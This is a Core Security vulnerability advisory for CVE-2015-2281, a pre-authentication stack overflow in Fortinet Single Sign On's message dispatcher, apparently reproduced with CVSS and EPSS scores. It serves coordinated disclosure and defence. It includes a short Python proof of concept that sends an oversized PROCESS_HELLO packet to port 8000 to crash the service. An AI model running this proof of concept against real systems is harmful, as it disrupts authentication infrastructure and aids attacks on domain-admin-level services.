CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
EPSS
Percentile
98.9%
**Title:**Fortinet Single Sign On Stack Overflow
**Advisory ID:**CORE-2015-0006
Advisory URL:<https://www.coresecurity.com/advisories/fortinet-single-sign-on-stack-overflow>
**Date published:**2015-03-18
**Date of last update:**2015-03-18
**Vendors contacted:**Fortinet
**Release mode:**Coordinated release
**Class:**Stack-based Buffer Overflow [CWE-121]
**Impact:**Code execution
**Remotely Exploitable:**Yes
**Locally Exploitable:**No
CVE Name:CVE-2015-2281
Through Fortinet [1] โSingle Sign Onโ or โSingle User Sign Onโ users logged on to a computer network are authenticated for access to network resources through the FortiGate unit without having to enter their username and password again. Fortinet Single Sign On (FSSO) provides Single Sign On capability for Microsoft Windows networks using either Active Directory or NTLM authentication and Novell networks, using eDirectory.
FSSO [4] monitors user logons and sends the FortiGate unit the username, IP address, and the list of Windows AD user groups to which the user belongs. When the user tries to access network resources, the FortiGate unit selects the appropriate security policy for the destination. If the user belongs to one of the permitted user groups, the connection is allowed.
There is a vulnerability in the message dispatcher used by FSSO Windows Active Directory and FSSO Novell eDirectory. Exploitation of this vulnerability might lead to a full network compromise.
Other versions are probably affected too, but they were not checked.
Core Security recommends those affected use third party software such as Sentinel [3] or EMET [2] that could help to prevent the exploitation of affected systems to some extent.
Fortinet published the following FortiGuard Bulletin: [5]
This vulnerability was discovered and researched by Enrique Nissim in collaboration with Andres Lopez Luksenberg, both from the Core Security Exploit Writing Team. The publication of this advisory was coordinated by Joaquรญn Rodrรญguez Varela from Core Security Advisories Team.
[CVE-2015-2281] The vulnerability in both cases can be exploited by sending a special packet to the services without being authenticated (pre-auth).
Given that both software systems require and Administrative account in order to run, (Windows Domain Admin or eDirectory Admin accordingly) the full network is exposed. Pre-authenticated Remote Code Execution with Domain Administrative rights is possible.
The vulnerability is located in the Message Dispatcher for message PROCESS_HELLO. Here is a PoC (Proof of Concept) that causes the application thread with the FortiGate appliance to crash:
import socket import struct TARGET_IP = "192.168.233.100" def play(): message = "\x80\x01\x42\x42" buff = "A"*248 buff += "B" * (0xfffff - len(buff)) payload = struct.pack(">I", 0x000fffff) + message + buff s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET_IP, 8000)) s.send(payload) buff_recv = s.recv(6000) print buff_recv s.close() play()
[1] <http://www.fortinet.com/>.
[2] <http://support.microsoft.com/kb/2458544>.
[3] <https://github.com/CoreSecurity/sentinel>.
[4] https://www.fortinetguru.com/2019/05/agent-based-fsso-3/
[5] <http://www.fortiguard.com/advisory/FG-IR-15-006/>.
CoreLabs, the research center of Core Security, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: <https://corelabs.coresecurity.com>.
Core Security enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations.
Core Securityโs software solutions build on over a decade of trusted research and leading-edge threat expertise from the companyโs Security Consulting Services, CoreLabs and Engineering groups. Core Security can be reached at +1 (617) 399-6980 or on the Web at: <https://www.coresecurity.com>.
The contents of this advisory are copyright ยฉ 2014 Core Security and ยฉ 2014 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: <http://creativecommons.org/licenses/by-nc-sa/3.0/us/>
This advisory has been signed with the GPG key of Core Security advisories team, which is available for download at <https://www.coresecurity.com/files/attachments/core_security_advisories.asc>.